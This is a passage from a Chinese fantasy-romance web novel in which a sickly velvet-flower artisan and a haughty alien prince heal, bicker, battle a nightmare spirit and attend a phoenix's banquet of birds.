却听阿波若哼了一声,“你是不是觉得自己的味觉没问题?可晚上那盘番茄炒蛋出锅前我尝了咸淡合适,但吃饭的时候你却说菜太淡了,一点味的都没有!”
一语将姜念惊醒。
中午阿波若炒菜的时候她确实全程盯着,就是为了防止再吃到咸死人不偿命的菜。
放多少盐、什么时候放都是她指导阿波若做的。她的厨艺向来很好,味道把握更不在话下,不可能连做一盘番茄炒蛋都放不准盐的。
但吃饭时候她也觉得菜的味道淡得很,只匆匆扒了几口就回房直播了也没太在意。
现在回想起来,惊得她一身冷汗。
姜念猛地推开阿波若跑进厨房,舀出一小勺盐倒在掌心里,拿筷子蘸满了尝,却尝不出咸来;又蘸了白糖、酱油、陈醋来尝。
淡、淡、淡得出奇。
舌头仿佛死了一样。
她真的……味觉开始丧失了。
若如阿波若所说,等到五感尽失的时候,她就会死。
姜念身子斜倚着厨房台面,停了好一会儿。
回过头来,却笑道;
“你那个神光疗法是正经疗法吗?”
抱人入怀、还要每天一次、还要抱得那么久、那么紧……
阿波若横眉一挑,怎么不是正经疗法了!本王子的神光可是——话未落,一道倩影直奔入他怀中。
姜念整个人埋在他胸前,小小的。
仿佛一只手就能将她瘦削的薄肩捏住。
而她的双手,却死死环紧他的腰间。
阿波若:!!!
姜念也顾不得其他,心里只有一个念头:她不能五感丧失不能死!她还要帮凤凰完成花冠还有很多订单要做!
如果神光疗法真的效果显著,别说让她和阿波若每天这样抱一次,就是让她抱着阿波若睡一觉(只是字面意义上的单纯睡觉)也豁出去了!
你、你、小魔女你干嘛突然这样!?
随着腰间越来越紧,阿波若整个人仿佛煮沸,连雪白的巨翅也染上一层霞粉。
阿波若,是不是只要我抱得越紧就能越快恢复味觉?姜念自我理解,这不就如同吃药一样,积极吃药才能好得更快呀!
边说边抱得更紧。
哎哎哎哎哎、你你你你也抱得太紧了吧!
——
果然,神光疗愈起了作用。
不仅味觉很快恢复如初,姜念连胃口都好了许多。
以前她一天只吃两餐、直播忙起来甚至连晚餐也不吃。而食量更是小得可怜顶多吃饭扒个两口,夹一小筷子菜就吃不下了。
老觉得胃里堵得慌,再多吃一口都要呕出来了。
为此还遭到过阿波若的嘲笑,笑她食量比蚂蚁还小。
但现在,她甚至能吃一小碗饭了。有时还没到饭点肚子也会咕噜噜感觉到饿了。
吃饭有了规律、食量也大了一些,晚上洗完脸照镜子的时候姜念感觉自己的脸色都没有那么苍白了。
渐渐有了些血色。
—
月夜,她坐在灯下制作凤凰定做的那几个花冠,一身月白素银丝旗袍,旗袍虽旧却将她的纤柔婀娜勾勒得淋漓尽致。
一头墨黑的瀑发挽起,发髻上簪了一支玉兰发簪。
眉如秋水、脸似皎月,远山雾霭一双烟雨蒙蒙眼,素静典雅。
今晚直播卖了二十三支新品玉兰发簪,姜念直播下播后继续赶制花冠。
凤凰的花冠不仅制作花形繁多,色彩要求严苛、更要考虑鸟类飞行时不易掉落的特殊情况,大大增加了难度。
之前姜念确认好凤凰的头围尺寸,花了不下数百张的样稿,再让阿波若变幻成白金大鸟当模特试戴飞行,测试花冠是否容易掉落,终于修修改改解决了易掉落的问题。
又劳烦凤凰使者将花冠模型送去给凤凰试戴,得到满意答复后这才继续做成品。
蚕丝为脉、铜线为骨,经过染色、匀条、烫绒、打尖等十几道工序,朵朵栩栩如生的绒花才能在指尖绽放,妍丽灵动永不凋零。
而再将一朵朵形态不一的绒花组合成花冠,更是费劲心血。
素手纤纤捻细丝,指尖熟稔且专业的勾挑、转动,越来越多的绒花在姜念手中生出鲜艳来。
映衬着这间破旧的小屋也春意盎然。
暖暖的、裹着淡黄的光从房间内溜出一条缝儿来。
映照在阿波若的眼眸中。
屋外漆黑一片,他的眸子却格外晶亮。
为了更好引出藏匿在屋子里的丧气,也为了省电,每晚阿波若都守在姜念卧室门口在黑暗中除丧气。
今日的丧气已尽除,他从那条游丝般的光缝看过去,正看到姜念低垂的眼。
她浓密的睫毛微颤,瓷白的巴掌小脸如月清冷。
却勾人挪不开眼。
阿波若闭上眼,却发现眼前还是她的模样。
潘多拉魔女。
作为阿波罗星尊贵的王子也是年纪最小的战神,这么多年他带领军队永远在征战星际的战场上。
形形色色再厉害的敌人他都见过,唯独没见过潘多拉魔女。
他的十三哥就是被潘多拉魔女迷惑并囚禁至今下落不明。所以他最恨魔女,发誓一定要将一切魔女消灭!
起初他也认定姜念就是这个星球上的魔女,专门魅惑人的心智,将他囚禁。
可她身体那么差、那么弱、一点神力都没有,
房子更是破烂差点连饭也吃不起。
他告诫自己不要被她迷惑,却下意识用神光为她疗愈。
神光是父王特赐于他的,代表着至高无上的力量,轻易不能使用。
而他却一次次破例,为了一个地球小魔女。
不,
她不是魔女。
—
却比魔女更厉害。
阿波若睁开眼,
却正对上姜念看过来的目光。
他愣了瞬,
胸口被那如丝的眸光紧紧缠绕。
无法呼吸……
——
“阿波若你是不是想学做绒花?我教你呀!”
姜念笑眼盈盈。
身体好了些,连带着心情也好了许多。
她刚才见房间外的阿波若一直朝里盯着看,边搬了工具
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来到客厅,开了灯要教他做绒花。
但阿波若扭着个头,也不正眼瞧人,只一副傲气样儿。姜念也不恼,只将材料和工具一一摆好,直接拉起阿波若的手来。
!
阿波若直接瞪大了眼。
姜念:“大惊小怪干嘛?我教你做绒花呀,别人求我教我还不愿教呢!”
“谁、谁说要学了!”
“不想学做绒花?那你刚才干嘛一直盯着往我房里看?”姜念笑了下,突然想逗他一下,“还是你看我太美,看入迷了呀?”
!!!
阿波若的耳跟烫得又能烧水泡茶了。
他语无伦次起来:
“谁谁看入迷了?我是看你、看你有没有在里面睡着了流口水!”
姜念却故意坐在他身边,挨得很近,凑在他耳边轻语:
“别口是心非。”
说罢伸手弹了弹他身后霍然展开的巨翅,
都变成羞红色了,还嘴硬呢。
—
虽然阿波若嘴上傲娇嚷着一万个不肯学,但手上却相当诚实。
姜念拿起一个做得歪歪扭扭的绒花春桃,直接笑出了声。
笑什么笑!有那么丑嘛!
阿波若瞪她。
不,姜念摇头,盯着阿波若的眼,我是觉得很可爱。
她晃晃了晃指尖的那朵歪扭的绒花春桃,抬手簪在了脑后的发髻上。
好看吧?
她笑起来,眉眼弯弯月。
阿波若别过头去,眼神闪躲:
还行吧。
姜念见他那傲娇样儿,更是好笑,见时间太晚也该休息了。
可阿波若叫住了她,说今天神光疗愈还没做。
哦,姜念想起了,确实还没做。
每天一抱的神光疗愈。
可抱住阿波若的时候,她总觉得有点怪。
这感觉……
怎么这么像腻歪小情侣睡觉前的亲亲抱抱举高高……
不不不!
她拼命晃脑袋,要把这个奇怪的念头从脑子里甩出去。
但越甩越多——
他的腰好细呀……
他的肩膀也好宽呀……
“那是什么!”
阿波若的声音将她拉回现实,见他低头一直盯着,姜念顺着他的目光也低头看过去。
登时她脸红起来,抬手一巴掌呼在阿波若脸上。
“你、你干嘛又这样摸我?”
阿波若挨了巴掌,不解。
姜念赶紧扣紧胸口的盘扣,不知什么时候扣子竟然开了!连她自己低头都能一眼看见那雪白的一抹,更别提他那么高的角度不是更加一览无余?
流氓!
姜念骂道。
可下一秒他宽大的掌朝她胸口压过来——
!
姜念愣了愣,只见胸前的吊坠绣袋从旗袍下被无形的力吸出来,发出一闪一闪的金光。
怎么会发光了呢?
这个吊坠绣袋是她从小带到大的,里面装的是她小时候第一次做的一朵桃花绒花,外面的绣袋是外婆帮她绣的。
她的外婆手很巧,什么都绣,就没有她绣不出来的花样。每年她都给姜念绣一个新的吊坠绣袋,独一无二只属于她的绣袋。
可前几年,外婆生了病离开了这个世界,再也不能帮姜念绣新的绣袋了。
姜念看着眼前的绣袋,眼睛慢慢模糊了起来。
却听见阿波若沉声:
“我在阿波罗星看见过这个东西。就是你把我召唤来地球那天。”
怎么可能?!
这个吊坠姜念一直贴身戴在身上,怎么出现在阿波罗星?
可下一秒,吊坠绣袋迸发出更耀眼的金光。
紧接着阿波若头顶显现出至尊王冠,中央的硕大宝石也同频闪烁起金光。
如同被召唤一样……
8. 男人心,海底针 “姜念。”
“阿波若!你不会是能回母星了吧!”
姜念将发金光的吊坠绣袋捧在手中,仿佛捧起一颗星,她打开绣袋,发现其实是里面的桃花绒花发出的光,骤然灵光一现:
她的绒花吊坠和阿波若王冠上的宝石一前一后发出金光,肯定有什么潜在关联!
召唤?
绒花?
脑中蓦然闪回当时他第一次出现在她房间里的情形——
“就像科幻小说里写的那样啊!一个普通的物品其实是星际穿越的门钥匙,那个叫什么来着啊对虫洞!说不定我的绒花吊坠就是一个门钥匙可以开启虫洞把你从阿波罗星传送到地球。那也能把你送回去啊!”
越说越感觉有理,姜念已经开始天马行空脑补一部史诗级宇宙科幻大片了。
阿波若:……
见她一脸兴奋的模样,他心里忽然有种空空的感觉。虽然一瞬间他也想过是不是能回母星了,也以为自己会很高兴。
但事实上,他内心远比想象中的平静,甚至,有点迟疑。
他不知道自己究竟怎么了。
明明回母星不是他一直的目的吗?当初他和姜念结盟不就是为了让她帮他找回家的方法吗?
可现在,他满脑子想的不是能否回母星,而是——满脑子的姜念、姜念在想什么?
是不是,她迫不及待想让他回母星?
从此再也不见。
—
噼里啪啦说了一堆分析,姜念觉得自己简直是福尔摩姜小姐。见阿波若呆着一言不发,她抬起指尖戳了戳:“刚才我说的你听见了吗?越分析越觉得我的绒花吊坠就是门钥匙可以开启虫洞!等找到方法开启虫洞后就能把你送回……”
阿波若:我可以瞬移到任何一个星系与星球,虫洞对我来说太过低级,一般只用来传送征战用的补给。
姜念:哦。
你的绒花吊坠不会是虫洞,更不可能把我送回母星。
他又沉声补刀了一句。
但姜念仍不死心,一把抓住阿波若胳膊,“机不可失失不再来!不试试怎么知道?我们就复盘模拟一遍那天的情形——”
“姜念。”
阿波若第一次叫她名字。
惹得姜念愣了愣。
“你,就这么想我回母星吗?”
他说的,很慢。
姜念愣了两愣。
几个意思呀?问她想不想他回去?她做梦都想呢!
不是他自己每天嚷嚷她的破房子这也不好那也不好吵着闹着要回母星,要回去住他的豪华寝宫?听得她耳朵的茧都能起城墙了。
本来就是他帮她治好梦魇,她帮他找到回去的方法,皆大欢喜,两不相欠。
等送走了这尊王子病的王子,她恨不得连夜烧高香。
姜念心里嘀嘀咕咕,没发现阿波若垂眸一直盯着她。
“要试快试,别耽误本王子回母星。”
他突然开口,背过身去。
一副傲气十足的欠揍拽样。
又来了、又来了、
又还是那个味儿——
超、级、无、敌、王、子、病!
姜念翻起大大的一个白眼!
—
虽然姜念不愿承认,但她的绒花吊坠的确不是虫洞。
当晚她拉着阿波若复刻模拟了第一次召唤他来地球的情形,无事发生,他并没有回阿波罗星。
而后来绒花吊坠和他的王冠宝石的光也熄灭了,再也没有发出金光。
姜念郁闷,这不科学呀?她笃定绒花吊坠和阿波若的王冠宝石肯定有关系,总不能无缘无故亮个大灯逗小孩儿玩儿吧?
但确实他并未因此回到母星。
肯定是方法不对,此事还要从长计议。
倒是阿波若的心情出奇的好,即便没能回母星他看着似乎也不太在意,甚至有点开心?这些天连拖地的时候都哼哼唧唧在唱歌。
啧啧,男人心海底针。
看不懂。
姜念将手里的绒花发夹包装好,今天是厂长娟姐送丝线来的日子,顺便把新做好的绒花发夹拿给她让她带回家给女儿思思。
可下楼时,看见来的却不是娟姐,而是她的表妹。
再回到家中时,姜念一言未发跌坐在沙发里,胸口顿顿的闷得慌。
娟姐被调离老厂发配到新厂去做监事,美其名曰她资历老有经验,实则就是给她穿小鞋!新厂子又偏又远,原来的新厂厂长是老板的小舅子,不学无术的小混混一个,什么也不懂把新厂子搞得一团遭,现在拍拍屁股走人撂下一大摊子破烂事等着娟姐来收拾。
而把娟姐调去新厂子的主意,是曾以晴提的。
曾以晴和荣安丝线厂签订了项目合同,仗着合作伙伴的身份使阴招借打压娟姐来打压她姜念。
自从那次在荣安丝线厂碰见曾以晴,她就再没去过厂里,而是托娟姐偷偷帮她代买丝线。
她就是怕,以曾那个睚眦必报的毒妇心理要是发现娟姐和她交好肯定要找娟姐麻烦,但没想到还是被她发现了。
不仅借这件事挑唆老板打压娟姐,更是让老板严声自此荣安丝线厂不会卖一根丝线给她姜念,谁敢卖谁就收拾东西滚蛋!
但这事娟姐半点也没让姜念知道,仍然偷偷买好了丝线,因新厂子那边事多脱不开身便托了表妹送丝线来。
甚至娟姐还觉得不好意思,觉得对不起姜念连买个丝线的事都办不好,让表妹代为转达让姜念放心不用操心丝线的事,无非就是她找人代买多几个假步骤,最后再送到姜念手上,保证一根不少。
望着拿回来的几包丝线,姜念伸手抚了抚,心中又感动又愧疚:
明明是因为她,娟姐才被牵连遭打压降了职。
又一次,她害了身边的人。
深深的无力感如灌满了铅裹住她的心直往下坠,一直坠、一直坠、坠入无底深渊。
无法呼吸。
她想呼出声,却如反复溺水般窒息。
心脏揪得生疼。
她赶紧拿出随身携带的沙丁胺醇喷雾来喷,能缓解了病,却医不了心,心里仍是难受得厉害。
“喝了这个。”
一杯流光四溢的水盛在玻璃杯中被递了过来,光彩倒映在她眸中。
姜念抬眼,看向面前的阿波若。
这是神光灵露,我特地为你调制的,喝了后心情会好很多。
见姜念没动,又特意补了一句。
放心,没下毒。
一副嘴硬傲娇样儿。
现在的确不是难过的时候,不然就正中曾以晴下怀。姜念唇角勾了勾,谢了啊,便就着杯口喝了起来。
一股绵绵的舒悦感传遍全身,心头压着的千斤重闷顿一扫而空。
好神奇的水!她惊讶地举起水杯瞧来瞧去。
转头问阿波若,明明记得你是带兵打仗的,怎么医术也那么好?
这有什么?我带兵打仗多年,那些受伤的将士都是我医治的,哪怕是濒死无医我也能救活。
在我的军队里,不会有任何一位战士战死。我既带领他们征战星际,就要护他们每一个周全。
谈起自己的阿波罗星军队与将士,阿波若眉宇间尽显骄傲。
而且,我的身体里流淌着我父王的力量,也担负着为宇宙众生消除病痛与苦难的职责。
是了,阿波若的父亲是太阳神阿波罗,传说中他是光明与预言之神,也是掌管艺术与音乐以及医药与治愈之神。
太阳神阿波罗的故事姜念知道,小时候电视上播的动画《奥林匹斯星传》她可没少看:宙斯、雅典娜、阿波罗、达芙妮……谈起每一个人物的故事都能如数家珍。
一想到阿波罗与达芙妮,八卦之火登时从心中熊熊燃起,也不知道是不是像传说中的那样天使丘比特给这两人一人来了一箭,然后太阳神阿波罗追求人家达芙妮爱而不得,反倒逼得美丽的阿达芙妮变成了一颗月桂树?
好想吃瓜呀!姜念用余光撇了一眼阿波若:虽然但是,在人家儿子面前打听人家老爹的风流韵事,这不太好吧?
没想到正对上阿波若灼灼目光。
她赶紧心虚又喝了一口杯中的水,转移话题:“你这个水喝了蛮舒服的,加了什么东西呀怎么亮晶晶的?”
“这可不是普通的水,是用我的神羽点化过了,比你吃一百种药都管用。”阿波若极为得意,噌的伸出一根手指头指向、自、己、前胸。
!!!
啪的一声,姜念手中的玻璃杯掉在地上四分五裂。
阿波若你竟敢让我喝你的胸毛水!!!
我砍了你!!!
一股剧烈的恶心快冲破喉咙,姜念冲进卫生间狂吐,想死的心都有了。
吐得昏天暗地,阿波若的声音还隐隐约约从背后飘来:
你怎么了?突然不舒服啊?
姜念扯了一把纸巾抹嘴,回头狂吼:
滚!你给我滚出去!
—
自从阿波若被罚出大门外后,姜念在卫生间刷了三遍牙。
越想越恶心!
恨不得直接罚他滚回他的阿波罗星!不!太便宜他了应该先打个三天三夜再让他滚回去!
等洗了脸,姜念看向镜子,仍是眼尾微红。
推开卫生间的门,刚踏出一步,
巨大的黑影团顷刻间
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将她钳住!
动弹不得、呼叫不得、感觉快要窒息。
“姜——念——”
噩梦灵发出腐臭的低吼,从黑影团显现出两只巨大的魔眼枯红。
“你逃不出我的手掌心——等要了你的命,再去把门外你的那个碍事小跟班撕个粉碎,扔去喂我的宝贝丧气!”
“你、休、想!”
姜念拼尽最后一口气喊。
下一秒,一只挂满浓稠黑粘液的触手从噩梦灵身上长出,朝着她头顶劈下来——
咔嚓!
骨头扭断的声音。
阿波若擒住那只触手,手腕一转直接将整条触手卸了下来。
触手裂成十几块跌在地上,化成黑烟散去。
噩梦灵不断在嚎叫。
阿波若将昏迷的姜念揽在怀里,掌心停在她被勒红的脖颈处为她输送力量疗愈,心焦如焚。
他原本被罚禁在大门外无法动弹,但感知到了姜念遇险,一下解开了禁咒得以冲回屋内。
姜念渐渐醒转。
噩梦灵又呼啸着猛攻过来!
阿波若抱紧姜念,冲拳相击,霎时间一根金光熠熠的长枪却在他手中闪现——
光明三叉戟!
阿波若大喜,没想到武器库被锁他最心爱的得力武器却还能被召唤出,不,是光明三叉戟冲破了阻碍,来助他了!
武器在手威力巨增,阿波若反手一挥,黑影团轰然坍塌消散。
噩梦灵重伤、痛声尖叫落荒而逃。
—
坐在沙发上,姜念又手捧一杯金灿灿的水,望着身旁阿波若气鼓鼓的背影。
丧气团已除、噩梦灵元气大伤逃回梦境世界估计很长时间再难作妖。
她颈子上的勒痕也治好了,也解开了那杯“胸毛水”的乌龙:
她质问阿波若的时候,差点没把他气个半死。
“谁说给你喝的是胸毛水!!?”
当场他再次施展神力,掌心幻化出一片金光羽毛,羽毛飞绕玻璃杯底部一圈,杯中的白开水便登时金光粼粼。
“神羽是我心头血所化,集宇宙之灵气,你竟敢说是胸毛!”
姜念:啊这,啊这。
可这也不能怪她呀!
谁让他当时指着自己的大、胸、肌,她能不想歪吗?
“哎呀别生气了。”
她伸手戳了戳阿波若胳膊。
哼!
阿波若赌气不理她。
“我的错我的错,要不你提个条件什么我都满足你,只要别太过分。”
姜念细声软语,捏起他的胳膊袖子晃呀晃。
他仍不吭声。
哎呀过了这个村可就没这个店了。姜念故意叹了口气,算了,就当我没说——
“本王子要沐浴,引天河的圣水、撒百花花瓣、点云朵香氛,你能做到?”
姜念微笑:可以。
“还要有海妖在外吟唱,神鸟侍者捧着万年美酒在旁边随时斟酒,也能做到?”
姜念嘴角抽动,依旧微笑:可以。
阿波若笑了下,哦对了,本王子在阿波罗星有好几处浴池,最小的那一处也比你这房子大百倍,浴池里洒满美肤养颜的泡泡精华,也能做到?
姜念挤出最后一丝笑:可——以。
—
卫生间的门哐当一声。
姜念知道是阿波若冲出来了。
“这个东西是怎么回事!嘎——嗄——”阿波若手里举着一只玩具黄鸭,一捏就叫一声。
“神鸟侍者啊,我们地球上的神鸟侍者就长这样。”姜念低头在规整绒花发夹,头也没抬。
“那个花瓣又是怎么回事?葱花啊!”
“葱花也是花呀,不然用韭菜花我怕你嫌味道大,而且韭菜花多贵别奢侈啊。”
阿波若差点气蹶过去,
“泡泡浴呢?在哪?”
“我特意重新拆了一块香皂给你在水桶里划拉了几下,怎么可能没有泡泡?要是嫌泡泡不够,你就拿放在桶边的香皂再放水里划拉几——”
“姜念!”
阿波若咬牙切齿。
姜念抬起头,怎么了怎么了,做人不能太贪心要知足——
眼睛都看直了。
阿波若下半身只围了一块白浴巾,古铜色无比精壮健硕的胸膛淌下水滴,缓缓滑过腹肌……
姜念一把转过身去。
没看见!没看见!
她不是有意去看那里的——
但实在是,
太、壮、观、了吧!
她仰头捂住鼻子,
呜呜,
鼻血要掉了……
9. 百鸟晚宴
凤凰的九顶花冠终于制作完成。
主花冠雍容华贵,以牡丹花为君,玉兰、香桂、松为臣,大气蓬勃;
而四小花冠,寓意着春夏秋冬,四季更替:
粉桃春冠,灼灼其华;清荷夏冠,出水芙蓉;菊花秋冠,宁静致远;腊梅冬冠,傲雪凌霜。
还有海棠花冠华雅、梨花花冠清雅、桂花花冠馥郁。
每一款都令凤凰赞不绝口。
一一试戴,尺寸样式都堪称完美,更衬得它气度非凡。
成功迷翻身后的一众凤凰使者,鸟仰鸟翻的沉醉在凤凰陛下的风姿绰约中。
姜念终于松了一口气。
按时完成订单。
大客户相当满意。
搞定!
她心里乐开了花,紧接着耳旁响起了凤凰的声音:
“姜小姐,感谢你为我制作的花冠。今晚我将在森林里举办百鸟晚宴,不知你是否有空参加?”
身边的凤凰使者说了个地址。
!
姜念婉拒:“凤凰先生感谢你的盛情邀请。但不好意思我没法去,太抱歉了。”
地址实在太远了,几十公里呢!
而且深山老林的大晚上她怎么去?
总不可能飞过去吧?
她心想。
但凤凰微微一笑,看着姜念的眼:
你可以。
—
坐在百鸟晚宴的席面上,姜念简直不敢置信,总感觉自己在做梦。
只记得凤凰当时点了一下她的头顶,她就变成了一只鸟,之后便随着凤凰一众鸟群飞过山、飞过水、飞过在睡梦中的千家万户,来到了晚宴举办之地。
太神奇了!
她竟然变成了一只鸟哎!
看着自己的爪子和翅膀,姜念新奇地不断扑棱翅膀飞上飞下,会飞的感觉好奇妙!
百鸟晚宴群鸟毕至,万花迎贺,看得她眼花缭乱:哪怕她自认为制作绒花这么多年,已经认得的花类不下千种,但仍惊叹于今晚的花之繁盛,真是大开眼界。
而除却一些常见鸟类,许多鸟类姜念根本不认识,好在阿波若在她身后提醒。
她夸赞:“厉害呀!怎么每一种鸟类你都认得?”
经姜念一夸,阿波若心里甚是得意,但面上却漫不经心:“这有什么?我的母后是羽族公主,我不仅认得每一种鸟类,它们依礼还要向我跪拜呢!”
果然,飞过几只鹦鹉,见到阿波若和姜念,个个落地展翅屈膝:
“王子好!王妃好!”
姜念:!!!
不是啊!她怎么就成王妃了?!不要乱传谣言啊!
姜念赶紧向那几只鹦鹉否认自己不是什么王妃,可鹦鹉们八卦地看着她和阿波若,叽叽喳喳说个不停。
她一把推了推阿波若,急道:“她们说太快了我听不懂!你快告诉她们我才不是什么王妃!”
虽然和阿波若结契约后她获得了听懂鸟语的能力,但鸟语毕竟不是她的母语,顶多能听懂一般的鸟语,遇上一群鸟叽叽喳喳说太快可就听晕了。
偏偏阿波若像故意看戏一样,嘴角一挑:“我也没听懂。”
鬼信你!姜念恨不得给他一脚,但碍于鹦鹉们还在吃瓜便扑扑翅膀飞走了。
懒得看他!
四处转转看花去。
她转身飞远不再看阿波若,自然也没看到他耳根泛起的熟红。阿波若灼灼的目光随着那个飞远的倩影,半刻不离。
鹦鹉们的话他当然听懂了:王妃真真真是太美啦!王子好福气恭喜恭喜!祝双宿双飞长长久久!
一个个又八卦、又嘴甜得很。
他低头笑,
唇角止不住地扬起……
—
飞了一圈收获颇多,更感叹于大自然的钟灵毓秀:千红万紫、鸟语虫鸣,那么多的花那么多的鸟,她从未见过如此绚丽多彩的颜色和精巧妍美的羽毛花纹,仿佛跌落进一个多彩新世界。
自然之美,往往是最震撼的。
人类在大自然面前,实在太渺小。
姜念边看边学习,努力将所见的颜色与花纹样都记在脑中,为绒花制作汲取灵感;不仅如此,她还意外的做成了几单生意:
她习惯随身携带一个小绣包,里面装有经典和最新的绒花饰品。
这次来参加百鸟晚宴也不例外,没想到的是竟然有好几只鸟儿对她的绒花饰品感兴趣,一下就卖出了五六只发夹。
更有趣的是,姜念注意到购买的鸟儿多是雄鸟,都说要买来送给心爱的雌鸟,喂了她好大一口狗粮,也默默在心底记下鸟族的喜好。
一只玄凤出手阔绰将她绣包里的最后几只发夹都买下了,见他喜欢得很姜念不忍打击,但还是委婉提醒这几只发夹尺寸比较大,对他来说估计不太合适。
但玄凤丝毫不在意,他告诉姜念往年百鸟晚宴凤凰陛下的花冠都由各大花主用鲜花制成,今年别具一格改用绒花,引得各类鸟族争相赶时髦效仿佩戴绒花饰品。
哪怕尺寸不合适,对玄风来说也不要紧,只要能先买先享受赶上时髦就成!
没想到,鸟族也这么追时髦!
姜念发现巨大商机,心里大喜!
不过今天她也才第一次知道,原来之前凤凰的花冠都是用鲜花制成的。
“凤凰陛下向来喜欢新事物,他的喜好自然很容易在鸟界风靡,成为时尚标杆。”背后传来清脆的声音。
姜念转过身,一只浑身彩羽的鸟儿飞来,羽毛艳丽多姿甚是华美。
好美的配色。
她都看呆了。
鸟儿朝她点头,想必你就是姜小姐吧!你可以唤我彩雀公子。听说凤凰陛下的花冠是你制作的,真好看!
突然他绒毛毛的脸上还羞上一层红:
“你可真美!不知等下我、我能否邀请你共舞?”
“不能。”
阿波若傲然的声音从姜念身后传来。
他本身幻化成雪白羽金额大鸟,再加上不可一世的傲气,愈加气宇轩昂。
彩雀公子:“你、你是?阿波若王子?”
他又望向姜念,那你们,是……姜念正想开口,却听见阿波若抢声:
“她是我的王妃。”
彩雀公子:!
姜念:!
有病啊!她飞了一记眼刀过去,但阿波若非但不收敛,反倒冲她吐了吐舌头,展开翅膀一把将她圈在怀里。
彩雀公子直接尬在原地,飞走也不是,不飞走也不是。
姜念偎在温暖的怀里,听见他呼吸声离近,
“晚宴要开始了。”
他坏笑,
“王妃。”
—
“开我玩笑很好玩是吧,阿波若!”
姜念厉声,朝着他翻了大大一个白眼。
阿波若斜躺着,丢了一颗葡萄进嘴里,“那个彩雀小矮子喜欢你。”
“关你什么事!”姜念呛他。
忽然她眯了眯眼,
“你不是在吃醋吧?”
呵!阿波若一下立起身来,吃醋?我吃你和那
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个小矮子的醋?笑话我堂堂阿波罗星王子我才不吃醋!
你那么激动干嘛?姜念一针见血。
阿波若眨巴眨眼,我那是怕你眼睛看花了被骗!万一又遇到危险还要烦我去救你。
一副口是心非的傲娇样。
看得姜念直想笑。
她故意轻轻柔柔的,哎呀原来是担心我有危险呀,那次噩梦灵差点害死我你也是不顾一切冲破了禁咒冲来救我,我好感动好感动哦~
登时阿波若后颈跟潮红了一片。
你你干嘛那样说话?恶心死了!我才不是担心你呢我是怕你死了我没办法回母星!谁要担心你!
可姜念软软的嗓音几乎黏在他耳边:
你快红透了,小王子。
嗡的一声,
阿波若脑袋里炸开了花。
—
晚宴正式开始。
仙鹤环飞,百灵吟唱,漫天飞花如梦如幻。
凤凰从天而降,庄严肃穆,熊熊焰光映照在每一只鸟臣民的眸中,闪跃着无尽的光辉。百鸟朝贺,万花迎赞,会场氤氲着花香馥郁。
凤凰仰鸣,依梧桐巨树自上翩翩而飞、翩翩而下,周而复始。
每一次,凤凰飞往梧桐巨树的尽头再返回时,都会依次轮换那九顶绒花花冠:牡丹主冠、桃花冠、荷花冠……海棠冠、桂花冠……
凤仪九天,万世华安。
姜念眼睛已经潮润了。
每轮换一顶花冠凤凰飞回时都会看向她,朝她点头致谢。
姜念也深深点头,为他感到喜悦。
也很自豪。
待第九次时,凤凰翩翩飞回,燃成了一团烈焰。
姜念惊呼。
烈焰褪去化为灰烬,在灰烬中凤凰扬起了华贵的翅羽。
死而复生。
凤凰涅槃。
太震撼了!
每年的百鸟朝凤,也是凤凰涅槃的日子。见凤凰陛下涅槃重生,百鸟欢悦,再次将晚宴的欢庆推上了顶峰。
“下面是自由舞动时间!”
“所有鸟都在!飞起来!嗨起来!呦呦呦你们的翅膀在哪里舞起来!”
凤凰使者带着墨镜,摇头晃脑开始DJ打碟。
凤凰也带着墨镜,与百鸟共舞。
真是开了眼界!这都能跳上/午夜鸟Disco了。
姜念也随着律动跳得正嗨。
一只凤凰使者飞到她身旁,为她引路:
凤凰陛下有请姜念小姐、阿波若王子。
?
这是要去哪?姜念看着凤凰使者指引的方向,和正跳舞的百鸟群是两个完全相反的方向,而且凤凰不是还在鸟群之中嗨舞吗?
奇怪虽奇怪,但随着凤凰使者飞到一座高山山顶,凤凰的身影赫然出现在她眼前。
怎么又有一个凤凰?
凤凰朝她笑,姜小姐,我变的魔术还不错吧?
魔术?
姜念反应过来,那个与百鸟共舞的凤凰是用魔术变的假身,眼前的这个凤凰才是真身。
凤凰满意点点头。
想必你已经知道了往年我的花冠都由各花花主用鲜花制成,但今年却与众不同,我选择使用绒花做花冠。你知道为什么吗?
姜念猜不出。
现在,我就把原因告诉你。
凤凰的声音很轻、很遥远。
不知是不是看花了眼,姜念似乎看见一滴泪划过他的眼角。
顺着凤凰的指引,她看过去。
心猛然惊了一跳……
10. 海棠娘子
那是一株焦黑枯死的树。
明显是被大火烧灼过。淡淡的月光照在那几乎裂成两半的树干上,像开膛破肚的鱼泛起黢青。
凤凰抬起翅羽,轻轻抚在那触目惊心的裂痕上:
“小棠,这位就是制作花冠的姜小姐。”
许久,一道气若游丝的声音才渐渐传入姜念耳中:
“姜小姐,不好意思……我这副模样恐怕惊吓到你了吧?今日幸会,你可以……称我为海棠娘子……”
每说一个字气息就愈加弱下去,几乎断绝。
海棠娘子?
海棠树?
姜念抬头看向凤凰,心中已全了然。
所以凤凰想要定做的第一顶花冠就是海棠花冠,想必与这株焦枯的海棠树有关。
凤凰:“小棠与我是多年挚友。每至深夜,高山孤寒,我们都在此看星、看月、看流云。我记得第一次见小棠的时候,也是像今天一样是个月明星稀的夜……”
他的声音很低很低,娓娓道来:
有一只凤凰向来浪荡不羁,自由散漫,他是百鸟之王,涅槃不死之身,千年万世在他眼中也不过是沧海一粟。
他是神鸟,早已看破七情六欲,无欲无求。
直到有一天,他在这座高山之巅遇见了一株孤海棠树。
海棠树生长自唐朝,所以唤海棠娘子。她一直孤长在这山巅,岁岁年年,却满腹诗书才华。
凤凰自恃才气,便与海棠娘子一较高下,但难分胜负。
自此,凤凰夜夜都来与海棠娘子斗诗、论据、品花。
夏看星月,冬望山雪。
两个互不相让,是顶峰相见的对手,
亦是最了解对方的知心朋友。
斗嘴,是独属于彼此之间最深的羁绊。
在一个夏夜,海棠娘子出了一道谜语,但凤凰猜不出,遭到了海棠娘子的嘲笑。
凤凰一气之下云游四海发誓不回,可隔了一日还是忍不住飞了回去。
但闯入他眼中的却是,
一株毫无生气、被大火焚毁的焦黑枯海棠树。
听到这,姜念心中重重沉了下去。
“我赌气飞走后不久,下了一场暴雨,惊雷不断劈下来。小棠为了整座苍山,独自承下了所有的雷击,才避免了一场山火。”
“可她,却因雷劈遭大火焚身,已然枯死。”
凤凰仰头,闭上眼。
“我寻遍天下珍药灵草也无法救她,更不顾百鸟各族长与百花各花主的反对,每日泣泪只为换回她一丝木魂。”
“还好,小棠的木魂终于被我唤了回来。但我知道天命不可违,她撑不了多久。”
从他闭上的眼中,淌下泪来。
